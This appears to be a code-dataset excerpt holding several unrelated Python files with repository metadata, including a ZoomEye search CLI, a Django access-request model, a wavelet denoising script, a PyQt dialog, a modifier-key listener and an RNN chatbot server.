#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ * Filename: cli.py * Description: cli program entry * Time: 2020.11.30 * Author: liuf5 */ """ import os import sys import argparse module_path = os.path.dirname(os.path.dirname(os.path.realpath(__file__))) sys.path.insert(1, module_path) from zoomeye import core class ZoomEyeParser(argparse.ArgumentParser): def error(self, message): self.print_help() sys.exit(2) def main(): """ parse user input args :return: """ parser = ZoomEyeParser() subparsers = parser.add_subparsers() # zoomeye account info parser_info = subparsers.add_parser("info", help="Show ZoomEye account info") parser_info.set_defaults(func=core.info) # query zoomeye data parser_search = subparsers.add_parser( "search", help="Search the ZoomEye database" ) parser_search.add_argument( "dork", help="The ZoomEye search keyword or ZoomEye exported file" ) parser_search.add_argument( "-num", default=20, help="The number of search results that should be returned", type=int, metavar='value' ) parser_search.add_argument( "-facet", default=None, nargs='?', const='app,device,service,os,port,country,city', type=str, help=(''' Perform statistics on ZoomEye database, field: [app,device,service,os,port,country,city] '''), metavar='field' ) parser_search.add_argument( "-filter", default=None, metavar='field=regexp', nargs='?', const='app', type=str, help=(''' Output more clearer search results by set filter field, field: [app,version,device,port,city,country,asn,banner,*] ''') ) parser_search.add_argument( '-stat', default=None, metavar='field', nargs='?', const='app,device,service,os,port,country,city', type=str, help=(''' Perform statistics on search results, field: [app,device,service,os,port,country,city] ''') ) parser_search.add_argument( "-save", default=None, metavar='field=regexp', help=(''' Save the search results with ZoomEye json format, if you specify the field, it will be saved with JSON Lines '''), nargs='?', type=str, const='all' ) parser_search.add_argument( "-count", help="The total number of results in ZoomEye database for a search", action="store_true" ) parser_search.set_defaults(func=core.search) # initial account configuration related commands parser_init = subparsers.add_parser("init", help="Initialize the token for ZoomEye-python") parser_init.add_argument("-apikey", help="ZoomEye API Key", default=None, metavar='[api key]') parser_init.add_argument("-username", help="ZoomEye account username", default=None, metavar='[username]') parser_init.add_argument("-password", help="ZoomEye account password", default=None, metavar='[password]') parser_init.set_defaults(func=core.init) args = parser.parse_args() try: args.func(args) except AttributeError: parser.print_help() if __name__ == '__main__': main()

26.369231

110

0.606768

121

0.035298

0

1,497

0.436698

cdece39680fd28858374924d70a1d3ff5d97fb90

462

py

Python

statapy/regression/tests.py

DhananjayAshok/PyStata

b592414d78b87d565d8c59ae9487478a792b8c84

[ "Apache-2.0" ]

null

statapy/regression/tests.py

DhananjayAshok/PyStata

b592414d78b87d565d8c59ae9487478a792b8c84

[ "Apache-2.0" ]

null

statapy/regression/tests.py

DhananjayAshok/PyStata

b592414d78b87d565d8c59ae9487478a792b8c84

[ "Apache-2.0" ]

null

import scipy.stats as stats def mannwhitneyu(sample_0, sample_1, one_sided=False): """ Performs the Mann-Whitney U test :param sample_0: array of values :param sample_1: array of values :param one_sided: True iff you want to use less than alternative hypothesis :return: statistic, pvalue """ res = stats.mannwhitneyu(sample_0, sample_1, alternative="two-sided" if not one_sided else "less") return res.statistic, res.pvalue

35.538462

102

0.722944

0

250

0.541126

cdeceab8b898ec021afc4aa90ddeda2bd76d683c

862

py

Python

3) Cartoonizing and Video Capture/#1 Accessing the webcam/webcam_access.py

RezaFirouzii/python-opencv-review

454a2be7fa36516a2b1fbd4e6162068bba25c989

[ "MIT" ]

null

3) Cartoonizing and Video Capture/#1 Accessing the webcam/webcam_access.py

RezaFirouzii/python-opencv-review

454a2be7fa36516a2b1fbd4e6162068bba25c989

[ "MIT" ]

null

3) Cartoonizing and Video Capture/#1 Accessing the webcam/webcam_access.py

RezaFirouzii/python-opencv-review

454a2be7fa36516a2b1fbd4e6162068bba25c989

[ "MIT" ]

null

import cv2 as cv if __name__ == "__main__": # 0 => first (default) webcam connected, # 1 => second webcam and so on. cap = cv.VideoCapture(0, cv.CAP_DSHOW) # cv.namedWindow("Window") if not cap.isOpened(): raise IOError("Webcam could not be opened!") while True: res, frame = cap.read() # returns (bool, ndarray) # in case any error occurs if not res: break frame = cv.resize(frame, None, fx=.5, fy=.5) cv.imshow("Video Stream", frame) keyboardInput = cv.waitKey(1) if keyboardInput == 27: # ESC button ascii code break cap.release() cv.destroyAllWindows() # you can also replace a normal video with webcam # in video capture object, just give it the address of # the video instead of 0 or number of your webcam

25.352941

61

0.597448

0

376

0.436195

cdf16ad97ffce90e11c1fa4d69eb40752cd40a16

3,928

py

Python

apps/sso/access_requests/models.py

g10f/sso

ba6eb712add388c69d4880f5620a2e4ce42d3fee

[ "BSD-3-Clause" ]

3

2021-05-16T17:06:57.000Z

2021-05-28T17:14:05.000Z

apps/sso/access_requests/models.py

g10f/sso

ba6eb712add388c69d4880f5620a2e4ce42d3fee

[ "BSD-3-Clause" ]

null

apps/sso/access_requests/models.py

g10f/sso

ba6eb712add388c69d4880f5620a2e4ce42d3fee

[ "BSD-3-Clause" ]

null

import datetime from current_user.models import CurrentUserField from django.conf import settings from django.db import models from django.urls import reverse from django.utils.timezone import now from django.utils.translation import gettext_lazy as _ from sso.accounts.models import Application from sso.models import AbstractBaseModel, AbstractBaseModelManager from sso.organisations.models import is_validation_period_active, Organisation class AccessRequestManager(AbstractBaseModelManager): def open(self): return self.get(status='o') class OpenAccessRequestManager(AbstractBaseModelManager): def get_queryset(self): return super().get_queryset().filter(status='o').prefetch_related('user__useremail_set') class AccessRequest(AbstractBaseModel): STATUS_CHOICES = [ ('o', _('open')), # opened by user ('c', _('canceled')), # by user ('v', _('approved')), ('d', _('denied')) ] user = models.ForeignKey(settings.AUTH_USER_MODEL, on_delete=models.CASCADE) message = models.TextField(_("message"), max_length=2048, help_text=_('Message for the administrators.'), blank=True) comment = models.TextField(_("Comment"), max_length=2048, blank=True) status = models.CharField(_('status'), max_length=255, choices=STATUS_CHOICES, default='o') last_modified_by_user = CurrentUserField(verbose_name=_('last modified by'), related_name='accessrequest_last_modified_by', on_delete=models.SET_NULL) completed_by_user = models.ForeignKey(settings.AUTH_USER_MODEL, blank=True, null=True, verbose_name=_('completed by'), related_name='accessrequest_completed_by', on_delete=models.SET_NULL) application = models.ForeignKey(Application, blank=True, null=True, on_delete=models.SET_NULL, verbose_name=_('application')) # required field if the user has no organisation organisation = models.ForeignKey(Organisation, blank=True, null=True, on_delete=models.CASCADE) objects = AccessRequestManager() open = OpenAccessRequestManager() def process(self, action=None, user=None): if action in ['cancel', 'verify', 'deny']: getattr(self, action)(user) else: raise ValueError def cancel(self, user): self.status = 'c' self.completed_by_user = user self.save() def verify(self, user): self.status = 'v' self.completed_by_user = user if self.organisation: self.user.set_organisations([self.organisation]) # check if organisation uses user activation validation_period_active = False for organisation in self.user.organisations.all(): if is_validation_period_active(organisation): self.user.valid_until = now() + datetime.timedelta(days=settings.SSO_VALIDATION_PERIOD_DAYS) self.user.save() validation_period_active = True if not validation_period_active: self.user.valid_until = None self.user.save() # add default member profile self.user.role_profiles.add(user.get_default_role_profile()) self.user.role_profiles.remove(user.get_default_guest_profile()) self.save() def deny(self, user): self.status = 'd' self.completed_by_user = user self.save() @property def is_open(self): return self.status == 'o' class Meta(AbstractBaseModel.Meta): verbose_name = _('access request') verbose_name_plural = _('access request') def get_absolute_url(self): return reverse('accounts:accessrequest_detail', kwargs={'pk': self.pk})

39.28

111

0.649949

3,476

0.884929

0

66

0.016802

0

486

0.123727

cdf35f3aa036ddd5079307083d76c1f9e474653b

1,518

py

Python

test/snr_test.py

AP-Atul/wavelets

cff71e777759844b35f8e96f14930b2c71a215a1

[ "MIT" ]

5

2021-02-01T07:43:39.000Z

2022-03-25T05:01:31.000Z

test/snr_test.py

AP-Atul/wavelets

cff71e777759844b35f8e96f14930b2c71a215a1

[ "MIT" ]

null

test/snr_test.py

AP-Atul/wavelets

cff71e777759844b35f8e96f14930b2c71a215a1

[ "MIT" ]

null

import os from time import time import numpy as np import soundfile from matplotlib import pyplot as plt from wavelet.fast_transform import FastWaveletTransform from wavelet.util.utility import threshold, mad, snr, amp_to_db INPUT_FILE = "/example/input/file.wav" OUTPUT_DIR = "/example/output/" info = soundfile.info(INPUT_FILE) # getting info of the audio rate = info.samplerate WAVELET_NAME = "coif1" t = FastWaveletTransform(WAVELET_NAME) outputFileName = os.path.join(OUTPUT_DIR, "_" + WAVELET_NAME + ".wav") noiseRatios = list() with soundfile.SoundFile(outputFileName, "w", samplerate=rate, channels=info.channels) as of: start = time() for block in soundfile.blocks(INPUT_FILE, int(rate * info.duration * 0.10)): # reading 10 % of duration coefficients = t.waveDec(block) # VISU Shrink sigma = mad(coefficients) thresh = sigma * np.sqrt(2 * np.log(len(block))) # thresholding using the noise threshold generated coefficients = threshold(coefficients, thresh) # getting the clean signal as in original form and writing to the file clean = t.waveRec(coefficients) clean = np.asarray(clean) of.write(clean) noiseRatios.append(snr(amp_to_db(clean))) end = time() x = [] for i in range(len(noiseRatios)): x.append(i) plt.plot(x, np.array(noiseRatios).astype(float)) plt.show() print(f"Finished processing with {WAVELET_NAME}") print(f"Time taken :: {end - start} s")

29.192308

108

0.689065

0

322

0.212121

cdf4a1acc53ac8000703136e7a930c389adce55b

1,546

py

Python

KeyHookThread.py

v2okimochi/Keasy

0c4d480a4b9fc88f47bbc11ed4ca248cbdc488f2

[ "MIT" ]

1

2018-10-25T01:31:15.000Z

KeyHookThread.py

v2okimochi/Keasy

0c4d480a4b9fc88f47bbc11ed4ca248cbdc488f2

[ "MIT" ]

1

2018-07-16T01:39:39.000Z

KeyHookThread.py

v2okimochi/Keasy

0c4d480a4b9fc88f47bbc11ed4ca248cbdc488f2

[ "MIT" ]

null

# -*- coding: utf-8 -*- from pynput import keyboard from PyQt5.QtCore import QThread, pyqtSignal class KeyHooker(QThread): # シグナル pushCtrlSignal = pyqtSignal() releaseCtrlSignal = pyqtSignal() pushShiftSignal = pyqtSignal() releaseShiftSignal = pyqtSignal() pushCommandSignal = pyqtSignal() releaseCommandSignal = pyqtSignal() def __init__(self): super().__init__() # キーが押された時に発動 # ctrl,shift,spaceなら，それぞれのシグナルを発信 # 他のキーだったら，shiftが離された時のシグナルを発信 # (auto-completeで大文字入力中の誤射ループを防ぐため) def on_press(self, key): try: if key == keyboard.Key.ctrl: self.pushCtrlSignal.emit() elif key == keyboard.Key.shift: self.pushShiftSignal.emit() elif key == keyboard.Key.cmd_l or key == keyboard.Key.cmd_r: self.pushCommandSignal.emit() else: self.releaseShiftSignal.emit() except AttributeError: # キー入力でExceptionが起こるが何もさせない pass # キーが離された時に発動 def on_release(self, key): # print('{0} released'.format(key)) if key == keyboard.Key.ctrl: self.releaseCtrlSignal.emit() elif key == keyboard.Key.cmd_l or key == keyboard.Key.cmd_r: self.releaseCommandSignal.emit() else: pass def run(self): # globalキーロガー開始 with keyboard.Listener( on_press=self.on_press, on_release=self.on_release) as listener: listener.join()

29.730769

72

0.599612

1,656

0.943052

0

440

0.250569

cdf4c8116e9e2bbcc1b35461d7c08335801aaba4

2,243

py

Python

nad_receiver/nad_commands.py

mindigmarton/nad_receiver

9449699d076011caf560d8c4384a9b1bf2512080

[ "MIT" ]

null

nad_receiver/nad_commands.py

mindigmarton/nad_receiver

9449699d076011caf560d8c4384a9b1bf2512080

[ "MIT" ]

null

nad_receiver/nad_commands.py

mindigmarton/nad_receiver

9449699d076011caf560d8c4384a9b1bf2512080

[ "MIT" ]

null

""" Commands and operators used by NAD. CMDS[domain][function] """ CMDS = { 'main': { 'dimmer': {'cmd': 'Main.Dimmer', 'supported_operators': ['+', '-', '=', '?'] }, 'mute': {'cmd': 'Main.Mute', 'supported_operators': ['+', '-', '=', '?'] }, 'power': {'cmd': 'Main.Power', 'supported_operators': ['+', '-', '=', '?'] }, 'volume': {'cmd': 'Main.Volume', 'supported_operators': ['+', '-', '=', '?'] }, 'ir': {'cmd': 'Main.IR', 'supported_operators': ['='] }, 'listeningmode': {'cmd': 'Main.ListeningMode', 'supported_operators': ['+', '-'] }, 'sleep': {'cmd': 'Main.Sleep', 'supported_operators': ['+', '-'] }, 'source': {'cmd': 'Main.Source', 'supported_operators': ['+', '-', '=', '?'] }, 'version': {'cmd': 'Main.Version', 'supported_operators': ['?'] } }, 'tuner': { 'am_frequency': {'cmd': 'Tuner.AM.Frequency', 'supported_operators': ['+', '-'] }, 'am_preset': {'cmd': 'Tuner.AM.Preset', 'supported_operators': ['+', '-', '=', '?'] }, 'band': {'cmd': 'Tuner.Band', 'supported_operators': ['+', '-', '=', '?'] }, 'fm_frequency': {'cmd': 'Tuner.FM.Frequency', 'supported_operators': ['+', '-'] }, 'fm_mute': {'cmd': 'Tuner.FM.Mute', 'supported_operators': ['+', '-', '=', '?'] }, 'fm_preset': {'cmd': 'Tuner.FM.Preset', 'supported_operators': ['+', '-', '=', '?'] } } }

30.310811

60

0.296478

0

963

0.429336

cdf8455878051f84938cb9a928fc16329abe82f4

7,846

py

Python

ui/Ui_addsite.py

EUFAR/asmm-eufar

69ede7a24f757392e63f04091e86c50ab129016f

[ "BSD-3-Clause" ]

null

ui/Ui_addsite.py

EUFAR/asmm-eufar

69ede7a24f757392e63f04091e86c50ab129016f

[ "BSD-3-Clause" ]

2

2015-06-12T09:28:29.000Z

2015-06-12T09:34:16.000Z

ui/Ui_addsite.py

eufarn7sp/asmm-eufar

69ede7a24f757392e63f04091e86c50ab129016f

[ "BSD-3-Clause" ]

null

# -*- coding: utf-8 -*- # Form implementation generated from reading ui file 'addsite.ui' # # Created by: PyQt5 UI code generator 5.6 # # WARNING! All changes made in this file will be lost! from PyQt5 import QtCore, QtGui, QtWidgets class Ui_Addsite(object): def setupUi(self, Addsite): Addsite.setObjectName("Addsite") Addsite.resize(340, 180) Addsite.setMinimumSize(QtCore.QSize(340, 180)) Addsite.setMaximumSize(QtCore.QSize(340, 16777215)) font = QtGui.QFont() font.setFamily("fonts/SourceSansPro-Regular.ttf") font.setPointSize(10) font.setKerning(True) font.setStyleStrategy(QtGui.QFont.PreferAntialias) Addsite.setFont(font) icon = QtGui.QIcon() icon.addPixmap(QtGui.QPixmap("icons/info_icon.png"), QtGui.QIcon.Normal, QtGui.QIcon.Off) Addsite.setWindowIcon(icon) Addsite.setStyleSheet("QWidget {\n" " background-color: rgb(230,230,230);\n" "}") self.gridLayout = QtWidgets.QGridLayout(Addsite) self.gridLayout.setObjectName("gridLayout") self.horizontalLayout_3 = QtWidgets.QHBoxLayout() self.horizontalLayout_3.setObjectName("horizontalLayout_3") spacerItem = QtWidgets.QSpacerItem(20, 20, QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_3.addItem(spacerItem) self.label = QtWidgets.QLabel(Addsite) self.label.setMinimumSize(QtCore.QSize(280, 27)) self.label.setMaximumSize(QtCore.QSize(280, 100)) font = QtGui.QFont() font.setFamily("fonts/SourceSansPro-Regular.ttf") font.setPointSize(10) font.setBold(False) font.setWeight(50) font.setKerning(True) font.setStyleStrategy(QtGui.QFont.PreferAntialias) self.label.setFont(font) self.label.setAlignment(QtCore.Qt.AlignJustify|QtCore.Qt.AlignTop) self.label.setWordWrap(True) self.label.setObjectName("label") self.horizontalLayout_3.addWidget(self.label) spacerItem1 = QtWidgets.QSpacerItem(13, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_3.addItem(spacerItem1) self.gridLayout.addLayout(self.horizontalLayout_3, 0, 0, 1, 2) spacerItem2 = QtWidgets.QSpacerItem(20, 20, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Fixed) self.gridLayout.addItem(spacerItem2, 1, 0, 1, 1) self.horizontalLayout_2 = QtWidgets.QHBoxLayout() self.horizontalLayout_2.setObjectName("horizontalLayout_2") spacerItem3 = QtWidgets.QSpacerItem(20, 20, QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_2.addItem(spacerItem3) self.ck_inputLine = QtWidgets.QLineEdit(Addsite) self.ck_inputLine.setMinimumSize(QtCore.QSize(280, 27)) self.ck_inputLine.setMaximumSize(QtCore.QSize(280, 27)) font = QtGui.QFont() font.setFamily("fonts/SourceSansPro-Regular.ttf") font.setPointSize(9) font.setBold(False) font.setWeight(50) font.setStyleStrategy(QtGui.QFont.PreferAntialias) self.ck_inputLine.setFont(font) self.ck_inputLine.setStyleSheet("QLineEdit {\n" " border-radius: 3px;\n" " padding: 1px 4px 1px 4px;\n" " background-color: rgb(255, 255, 255);\n" "}") self.ck_inputLine.setFrame(False) self.ck_inputLine.setObjectName("ck_inputLine") self.horizontalLayout_2.addWidget(self.ck_inputLine) spacerItem4 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_2.addItem(spacerItem4) self.gridLayout.addLayout(self.horizontalLayout_2, 2, 0, 1, 2) spacerItem5 = QtWidgets.QSpacerItem(20, 20, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Fixed) self.gridLayout.addItem(spacerItem5, 3, 1, 1, 1) self.horizontalLayout = QtWidgets.QHBoxLayout() self.horizontalLayout.setObjectName("horizontalLayout") spacerItem6 = QtWidgets.QSpacerItem(20, 20, QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout.addItem(spacerItem6) self.ck_submitButton = QtWidgets.QToolButton(Addsite) self.ck_submitButton.setMinimumSize(QtCore.QSize(93, 27)) self.ck_submitButton.setMaximumSize(QtCore.QSize(93, 27)) font = QtGui.QFont() font.setFamily("fonts/SourceSansPro-Regular.ttf") font.setPointSize(10) font.setBold(False) font.setWeight(50) font.setKerning(True) font.setStyleStrategy(QtGui.QFont.PreferAntialias) self.ck_submitButton.setFont(font) self.ck_submitButton.setStyleSheet("QToolButton {\n" " border: 1px solid #acacac;\n" " border-radius: 1px;\n" " background-color: qlineargradient(x1:0, y1:0, x2:0, y2:1,\n" " stop:0 #f0f0f0, stop:1 #e5e5e5);\n" "}\n" "\n" "QToolButton:hover {\n" " border: 1px solid #7eb4ea;\n" " border-radius: 1px;\n" " background-color: qlineargradient(x1:0, y1:0, x2:0, y2:1,\n" " stop:0 #ecf4fc, stop:1 #dcecfc);\n" "}\n" "\n" "QToolButton:pressed {\n" " border: 1px solid #579de5;\n" " border-radius: 1px;\n" " background-color: qlineargradient(x1:0, y1:0, x2:0, y2:1,\n" " stop:0 #daecfc, stop:1 #c4e0fc);\n" "}") self.ck_submitButton.setObjectName("ck_submitButton") self.horizontalLayout.addWidget(self.ck_submitButton) spacerItem7 = QtWidgets.QSpacerItem(20, 20, QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout.addItem(spacerItem7) self.ck_cancelButton = QtWidgets.QToolButton(Addsite) self.ck_cancelButton.setMinimumSize(QtCore.QSize(93, 27)) self.ck_cancelButton.setMaximumSize(QtCore.QSize(93, 27)) font = QtGui.QFont() font.setFamily("fonts/SourceSansPro-Regular.ttf") font.setPointSize(10) font.setBold(False) font.setWeight(50) font.setKerning(True) font.setStyleStrategy(QtGui.QFont.PreferAntialias) self.ck_cancelButton.setFont(font) self.ck_cancelButton.setStyleSheet("QToolButton {\n" " border: 1px solid #acacac;\n" " border-radius: 1px;\n" " background-color: qlineargradient(x1:0, y1:0, x2:0, y2:1,\n" " stop:0 #f0f0f0, stop:1 #e5e5e5);\n" "}\n" "\n" "QToolButton:hover {\n" " border: 1px solid #7eb4ea;\n" " border-radius: 1px;\n" " background-color: qlineargradient(x1:0, y1:0, x2:0, y2:1,\n" " stop:0 #ecf4fc, stop:1 #dcecfc);\n" "}\n" "\n" "QToolButton:pressed {\n" " border: 1px solid #579de5;\n" " border-radius: 1px;\n" " background-color: qlineargradient(x1:0, y1:0, x2:0, y2:1,\n" " stop:0 #daecfc, stop:1 #c4e0fc);\n" "}") self.ck_cancelButton.setObjectName("ck_cancelButton") self.horizontalLayout.addWidget(self.ck_cancelButton) spacerItem8 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout.addItem(spacerItem8) self.gridLayout.addLayout(self.horizontalLayout, 4, 0, 1, 2) self.retranslateUi(Addsite) QtCore.QMetaObject.connectSlotsByName(Addsite) def retranslateUi(self, Addsite): _translate = QtCore.QCoreApplication.translate Addsite.setWindowTitle(_translate("Addsite", "Add a new CheckBox")) self.label.setText(_translate("Addsite", "Please, enter a name for the new Ground Site.")) self.ck_submitButton.setText(_translate("Addsite", "Submit")) self.ck_cancelButton.setText(_translate("Addsite", "Cancel"))

46.702381

115

0.672827

7,607

0.969539

0

2,166

0.276064

cdf8ea07b2a210313250ff1ccb9f4bf6d44a0053

1,772

py

Python

testmile-setu/setu/dispatcher/broker.py

test-mile/setu

b273a11e7f9462e64a370bda16f1952ecdbfb5a5

[ "Apache-2.0" ]

null

testmile-setu/setu/dispatcher/broker.py

test-mile/setu

b273a11e7f9462e64a370bda16f1952ecdbfb5a5

[ "Apache-2.0" ]

null

testmile-setu/setu/dispatcher/broker.py

test-mile/setu

b273a11e7f9462e64a370bda16f1952ecdbfb5a5

[ "Apache-2.0" ]

null

from enum import Enum, auto class SetuGuiAutoActorStateActionType(Enum): INIT_STATE = auto() END_STATE = auto() class SetuGuiAutoActorAutomatorActionType(Enum): LAUNCH = auto() QUIT = auto() GO_TO_URL = auto() GO_BACK = auto() GO_FORWARD = auto() REFRESH = auto() EXECUTE_JAVASCRIPT = auto() FIND_ELEMENT = auto() FIND_MULTIELEMENT = auto() GET_CURRENT_WINDOW_HANDLE = auto() GET_WINDOW_TITLE = auto() MAXIMIZE_WINDOW = auto() GET_CURRENT_WINDOW_SIZE = auto() SET_WINDOW_SIZE = auto() GET_ALL_WINDOW_HANDLES = auto() SWITCH_TO_WINDOW = auto() CLOSE_CURRENT_WINDOW = auto() IS_ALERT_PRESENT = auto() CONFIRM_ALERT = auto() DISMISS_ALERT = auto() GET_TEXT_FROM_ALERT = auto() SEND_TEXT_TO_ALERT = auto() GET_CURRENT_VIEW_CONTEXT = auto() GET_ALL_VIEW_CONTEXTS = auto() SWITCH_TO_VIEW_CONTEXT = auto() JUMP_TO_FRAME = auto() JUMP_TO_PARENT_FRAME = auto() JUMP_TO_DOM_ROOT = auto() class SetuGuiAutoActorElementActionType(Enum): FIND_MULTIELEMENT = auto() FIND_ELEMENT = auto() CLICK = auto() CLEAR_TEXT = auto() SEND_TEXT = auto() IS_SELECTED = auto() IS_VISIBLE = auto() IS_CLICKABLE = auto() GET_TAG_NAME = auto() GET_ATTR_VALUE = auto() GET_TEXT_CONTENT = auto() class SetuActorDriverConfigOption(Enum): GUIAUTO_AUTOMATOR_NAME = auto() GUIAUTO_CONTEXT = auto() # Browser (Common) BROWSER_NAME = auto() BROWSER_BIN_PATH = auto() BROWSER_PROXY_ON = auto() BROWSER_PROXY_HOST = auto() BROWSER_PROXY_PORT = auto() MOBILE_OS_NAME = auto() # Selenium SELENIUM_DRIVER_PROP = auto() SELENIUM_DRIVER_PATH = auto() # Appium APPIUM_HUB_URL = auto() APPIUM_AUTO_LAUNCH = auto()

23.012987

48

0.682844

1,736

0.979684

0

36

0.020316

cdf8f1196a3909edc36aafce5347c3143f73a6ac

76

py

Python

conductor/utils/inputs.py

JoelLefkowitz/conductor

9a5d3a833c17bd57080e538ea7584620560d9235

[ "MIT" ]

1

2021-08-21T21:34:22.000Z

conductor/utils/inputs.py

JoelLefkowitz/conductor

9a5d3a833c17bd57080e538ea7584620560d9235

[ "MIT" ]

null

conductor/utils/inputs.py

JoelLefkowitz/conductor

9a5d3a833c17bd57080e538ea7584620560d9235

[ "MIT" ]

null

def prompt(msg: str) -> bool: return input(msg).lower() in ["y", "yes"]

25.333333

45

0.578947

0

8

0.105263

cdf93d47f329e66522fe3776469675377c2e7349

1,758

py

Python

leetcode/0566_reshape_the_matrix.py

chaosWsF/Python-Practice

ff617675b6bcd125933024bb4c246b63a272314d

[ "BSD-2-Clause" ]

null

leetcode/0566_reshape_the_matrix.py

chaosWsF/Python-Practice

ff617675b6bcd125933024bb4c246b63a272314d

[ "BSD-2-Clause" ]

null

leetcode/0566_reshape_the_matrix.py

chaosWsF/Python-Practice

ff617675b6bcd125933024bb4c246b63a272314d

[ "BSD-2-Clause" ]

null

""" In MATLAB, there is a very useful function called 'reshape', which can reshape a matrix into a new one with different size but keep its original data. You're given a matrix represented by a two-dimensional array, and two positive integers r and c representing the row number and column number of the wanted reshaped matrix, respectively. The reshaped matrix need to be filled with all the elements of the original matrix in the same row-traversing order as they were. If the 'reshape' operation with given parameters is possible and legal, output the new reshaped matrix; Otherwise, output the original matrix. Example 1: Input: nums = [[1, 2], [3, 4]] r = 1, c = 4 Output: [[1, 2, 3, 4]] Explanation: The row-traversing of nums is [1, 2, 3, 4]. The new reshaped matrix is a 1 * 4 matrix, fill it row by row by using the previous list. Example 2: Input: nums = [[1, 2], [3, 4]] r = 2, c = 4 Output: [[1, 2], [3, 4]] Explanation: There is no way to reshape a 2 * 2 matrix to a 2 * 4 matrix. So output the original matrix. Note: 1. The height and width of the given matrix is in range [1, 100]. 2. The given r and c are all positive. """ class Solution: def matrixReshape1(self, nums, r, c): # 96ms elements = sum(nums, []) n = len(elements) if r * c != n: return nums else: return [elements[i:i+c] for i in range(0, n, c)] def matrixReshape2(self, nums, r, c): # 88ms if len(nums[0]) * len(nums) != r * c: return nums else: elements = sum(nums, []) return [elements[i:i+c] for i in range(0, len(elements), c)]

33.807692

100

0.606371

495

0.28157

0

1,271

0.722981

cdfba4673ccb2b05e2ef7ddcaa8aeaa3095e7451

4,629

py

Python

python/main.py

LaraProject/rnn2java

f35b1b98f74864d4310e7866ad5271ae5389292d

[ "MIT" ]

null

python/main.py

LaraProject/rnn2java

f35b1b98f74864d4310e7866ad5271ae5389292d

[ "MIT" ]

null

python/main.py

LaraProject/rnn2java

f35b1b98f74864d4310e7866ad5271ae5389292d

[ "MIT" ]

null

#!/usr/bin/env python3 import socket import select from time import sleep import message_pb2 from google.protobuf.internal import encoder import tensorflow as tf from tensorflow.keras import preprocessing import pickle import numpy as np ## RNN part # Load the inference model def load_inference_models(enc_file, dec_file): encoder_model = tf.keras.models.load_model(enc_file) decoder_model = tf.keras.models.load_model(dec_file) return (encoder_model, decoder_model) # Load the tokenizer def load_tokenizer(tokenizer_file): with open(tokenizer_file, 'rb') as handle: tokenizer = pickle.load(handle) return tokenizer def load_length(length_file): with open(length_file, "r") as f: data = ((f.read()).split(",")) return int(data[0]), int(data[1]) # Talking with our Chatbot def str_to_tokens( sentence : str, tokenizer, maxlen_questions): words = sentence.lower().split() tokens_list = list() for word in words: if word in tokenizer.word_index: tokens_list.append(tokenizer.word_index[word]) else: tokens_list.append(tokenizer.word_index['<unk>']) return preprocessing.sequence.pad_sequences([tokens_list], maxlen=maxlen_questions, padding='post') def answer(question, enc_model, dec_model, tokenizer, maxlen_questions, maxlen_answers): states_values = enc_model.predict(str_to_tokens(question, tokenizer, maxlen_questions)) empty_target_seq = np.zeros((1, 1)) empty_target_seq[0, 0] = tokenizer.word_index['<start>'] stop_condition = False decoded_translation = '' while not stop_condition: (dec_outputs, h, c) = dec_model.predict([empty_target_seq] + states_values) sampled_word_index = np.argmax(dec_outputs[0, -1, :]) sampled_word = None for (word, index) in tokenizer.word_index.items(): if sampled_word_index == index: decoded_translation += ' {}'.format(word) sampled_word = word if sampled_word == '<end>' or len(decoded_translation.split()) > maxlen_answers: stop_condition = True empty_target_seq = np.zeros((1, 1)) empty_target_seq[0, 0] = sampled_word_index states_values = [h, c] return (decoded_translation[:-5]) # remove end w ### END RNN PART ### PORT = 9987 def recvall(sock): BUFF_SIZE = 4096 # 4 KiB data = b'' while True: part = sock.recv(BUFF_SIZE) data += part if len(part) < BUFF_SIZE: # either 0 or end of data break return data def answer_command(question, enc_model, dec_model, tokenizer, maxlen_questions, maxlen_answers): command = message_pb2.Command() command.type = message_pb2.Command.ANSWER command.name = 'ANSWER to "' + question + '"' command.data = answer(question, enc_model, dec_model, tokenizer, maxlen_questions, maxlen_answers) return command def main(): # Connect over TCP socket sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.bind(('localhost', PORT)) sock.listen(5) # Current person max_lengths = [[22,74]] person = 1 enc_model, dec_model = load_inference_models("../models/" + str(person) + "/model_enc.h5", "../models/" + str(person) + "/model_dec.h5") tokenizer = load_tokenizer("../models/" + str(person) + "/tokenizer.pickle") maxlen_questions, maxlen_answers = load_length("../models/" + str(person) + "/length.txt") cmd = message_pb2.Command() over = False while True and (not over): conn, addr = sock.accept() #conn.setblocking(0) while True: data = conn.recv(4096) if not data: break ready = select.select([conn], [], [], 1.0) if ready[0]: data += recvall(conn) cmd.ParseFromString(data) if (cmd.type == message_pb2.Command.CommandType.QUESTION): print("Question : '" + cmd.data + "' received.") conn.send(answer_command(cmd.data, enc_model, dec_model, tokenizer, maxlen_questions, maxlen_answers).SerializeToString()) print("Question answered.") conn.close() break elif (cmd.type == message_pb2.Command.CommandType.ANSWER): print("Error, only questions are accepted.") over = True conn.close() break elif (cmd.type == message_pb2.Command.CommandType.SWITCH_PERSON): print("Switching to person" + cmd.data) person = int(cmd.data) enc_model, dec_model = load_inference_models("../models/" + str(person) + "/model_enc.h5", "../models/" + str(person) + "/model_dec.h5") tokenizer = load_tokenizer("../models/" + str(person) + "/tokenizer.pickle") maxlen_questions, maxlen_answers = load_length("../models/" + str(person) + "/length.txt") conn.close() break elif (cmd.type == message_pb2.Command.CommandType.SHUTDOWN): print("Quiting.") over = True conn.close() break sleep(1) sock.close() if __name__ == '__main__': main()

32.598592

140

0.712249

0

653

0.141067

cdfbbb1e16902c1d3761509ecf7d21633da2152a

161,322

py

Python

dlkit/json_/authorization/sessions.py

UOC/dlkit

a9d265db67e81b9e0f405457464e762e2c03f769

[ "MIT" ]

2

